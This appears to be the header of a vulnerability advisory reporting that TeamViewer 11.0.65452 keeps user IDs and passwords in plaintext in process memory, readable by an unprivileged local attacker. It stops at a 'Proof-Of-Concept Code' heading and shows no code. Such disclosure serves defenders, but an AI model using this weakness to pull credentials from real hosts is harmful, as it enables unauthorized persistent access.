#####
# TeamViewer 11.0.65452 is vulnerable to local credentials disclosure, the supplied userid and password are stored in a plaintext format in memory process.
# There is no need in privilege account access. Credentials are stored in context of regular user.
# A potential attacker could reveal the supplied username and password automaticaly and gain persistent access to host via TeamViewer services.
#
# Proof-Of-Concept Code:
